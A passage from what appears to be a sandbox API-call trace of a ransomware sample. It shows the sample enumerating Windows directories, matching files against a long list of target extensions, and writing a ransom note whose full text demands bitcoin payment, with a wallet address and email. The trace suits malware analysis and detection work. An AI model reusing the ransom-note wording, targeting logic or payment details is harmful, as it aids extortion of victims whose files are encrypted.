(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.lay6") returned 0 [0112.327] lstrlenA (lpString="*.lay6") returned 6 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mpeg") returned 0 [0112.327] lstrlenA (lpString="*.mpeg") returned 6 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.djvu") returned 0 [0112.328] lstrlenA (lpString="*.djvu") returned 6 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.tiff") returned 0 [0112.328] lstrlenA (lpString="*.tiff") returned 6 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.backup") returned 0 [0112.328] lstrlenA (lpString="*.backup") returned 8 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.pdf") returned 0 [0112.328] lstrlenA (lpString="*.pdf") returned 5 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.cert") returned 0 [0112.328] lstrlenA (lpString="*.cert") returned 6 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.docm") returned 0 [0112.328] lstrlenA (lpString="*.docm") returned 6 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.xlsm") returned 0 [0112.328] lstrlenA (lpString="*.xlsm") returned 6 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.dwg") returned 0 [0112.328] lstrlenA (lpString="*.dwg") returned 5 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.nd") returned 0 [0112.328] lstrlenA (lpString="*.nd") returned 4 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.tlg") returned 0 [0112.328] lstrlenA (lpString="*.tlg") returned 5 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.lgb") returned 0 [0112.328] lstrlenA (lpString="*.lgb") returned 5 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mov") returned 0 [0112.328] lstrlenA (lpString="*.mov") returned 5 [0112.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.xdw") returned 0 [0112.328] lstrlenA (lpString="*.xdw") returned 5 [0112.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.ods") returned 0 [0112.329] lstrlenA (lpString="*.ods") returned 5 [0112.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.wav") returned 0 [0112.329] lstrlenA (lpString="*.wav") returned 5 [0112.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mp3") returned 0 [0112.329] lstrlenA (lpString="*.mp3") returned 5 [0112.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.aiff") returned 0 [0112.329] lstrlenA (lpString="*.aiff") returned 6 [0112.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.flac") returned 0 [0112.329] lstrlenA (lpString="*.flac") returned 6 [0112.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.m4a") returned 0 [0112.329] lstrlenA (lpString="*.m4a") returned 5 [0112.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.csv") returned 0 [0112.329] lstrlenA (lpString="*.csv") returned 5 [0112.329] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8a0ace, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde8a0ace, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde8c6c2e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd9200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.329] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.329] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde912eee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde912eee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ed852e32514b415cfb4ac81aef9ac0fd", cAlternateFileName="ED852E~1")) returned 0 [0112.329] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.330] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdeab5e11, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdeab5e11, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.AddIn.Contra#", cAlternateFileName="SYSTEM~3.CON")) returned 1 [0112.330] lstrcmpA (lpString1=".", lpString2="System.AddIn.Contra#") returned -1 [0112.330] lstrcmpA (lpString1="..", lpString2="System.AddIn.Contra#") returned -1 [0112.330] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.330] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.AddIn.Contra#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#" [0112.330] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#") returned 67 [0112.330] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdeab5e11, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdeab5e11, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.330] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.330] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdeab5e11, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdeab5e11, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.330] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.330] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.330] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdeadbf72, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdeadbf72, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eadb7dd5fe85da92b491154484bc40e3", cAlternateFileName="EADB7D~1")) returned 1 [0112.330] lstrcmpA (lpString1=".", lpString2="eadb7dd5fe85da92b491154484bc40e3") returned -1 [0112.331] lstrcmpA (lpString1="..", lpString2="eadb7dd5fe85da92b491154484bc40e3") returned -1 [0112.331] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\*.*") returned="*.*" [0112.331] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\", lpString2="eadb7dd5fe85da92b491154484bc40e3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3" [0112.331] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3") returned 100 [0112.331] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdeadbf72, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdeadbf72, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.332] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.332] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdeadbf72, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdeadbf72, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.332] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.332] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.332] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea69b51, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdea69b51, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdea8fcb1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x26400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.Contract.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.332] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.332] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.AddIn.Contract.ni.dll") returned -1 [0112.332] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.AddIn.Contract.ni.dll") returned -1 [0112.333] lstrcmpiA (lpString1="", lpString2="System.AddIn.Contract.ni.dll") returned -1 [0112.333] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\*.*") returned="*.*" [0112.333] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\" [0112.333] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\") returned="" [0112.333] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\HOW TO DECRYPT FILES.txt" [0112.333] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.addin.contra#\\eadb7dd5fe85da92b491154484bc40e3\\how to decrypt files.txt")) returned 0xffffffff [0112.333] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.addin.contra#\\eadb7dd5fe85da92b491154484bc40e3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.334] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.334] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.336] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.336] CloseHandle (hObject=0x90) returned 1 [0112.336] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\", lpString2="System.AddIn.Contract.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll" [0112.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.ems") returned 0 [0112.336] lstrlenA (lpString="*.ems") returned 5 [0112.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.db") returned 0 [0112.336] lstrlenA (lpString="*.db") returned 4 [0112.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.dbf") returned 0 [0112.336] lstrlenA (lpString="*.dbf") returned 5 [0112.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.myox") returned 0 [0112.336] lstrlenA (lpString="*.myox") returned 6 [0112.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.myo") returned 0 [0112.336] lstrlenA (lpString="*.myo") returned 5 [0112.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qbw") returned 0 [0112.336] lstrlenA (lpString="*.qbw") returned 5 [0112.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qbb") returned 0 [0112.336] lstrlenA (lpString="*.qbb") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qbm") returned 0 [0112.337] lstrlenA (lpString="*.qbm") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qbo") returned 0 [0112.337] lstrlenA (lpString="*.qbo") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qbx") returned 0 [0112.337] lstrlenA (lpString="*.qbx") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qba") returned 0 [0112.337] lstrlenA (lpString="*.qba") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qby") returned 0 [0112.337] lstrlenA (lpString="*.qby") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qbj") returned 0 [0112.337] lstrlenA (lpString="*.qbj") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.ofx") returned 0 [0112.337] lstrlenA (lpString="*.ofx") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.qif") returned 0 [0112.337] lstrlenA (lpString="*.qif") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mye") returned 0 [0112.337] lstrlenA (lpString="*.mye") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mbox") returned 0 [0112.337] lstrlenA (lpString="*.mbox") returned 6 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.eml") returned 0 [0112.337] lstrlenA (lpString="*.eml") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.pst") returned 0 [0112.337] lstrlenA (lpString="*.pst") returned 5 [0112.337] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.ost") returned 0 [0112.338] lstrlenA (lpString="*.ost") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.idx") returned 0 [0112.338] lstrlenA (lpString="*.idx") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.dbx") returned 0 [0112.338] lstrlenA (lpString="*.dbx") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.sql") returned 0 [0112.338] lstrlenA (lpString="*.sql") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mdb") returned 0 [0112.338] lstrlenA (lpString="*.mdb") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.fdb") returned 0 [0112.338] lstrlenA (lpString="*.fdb") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.wab") returned 0 [0112.338] lstrlenA (lpString="*.wab") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.dat") returned 0 [0112.338] lstrlenA (lpString="*.dat") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.txt") returned 0 [0112.338] lstrlenA (lpString="*.txt") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.jpeg") returned 0 [0112.338] lstrlenA (lpString="*.jpeg") returned 6 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.jpg") returned 0 [0112.338] lstrlenA (lpString="*.jpg") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.png") returned 0 [0112.338] lstrlenA (lpString="*.png") returned 5 [0112.338] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.php") returned 0 [0112.338] lstrlenA (lpString="*.php") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.cs") returned 0 [0112.339] lstrlenA (lpString="*.cs") returned 4 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.cpp") returned 0 [0112.339] lstrlenA (lpString="*.cpp") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.rar") returned 0 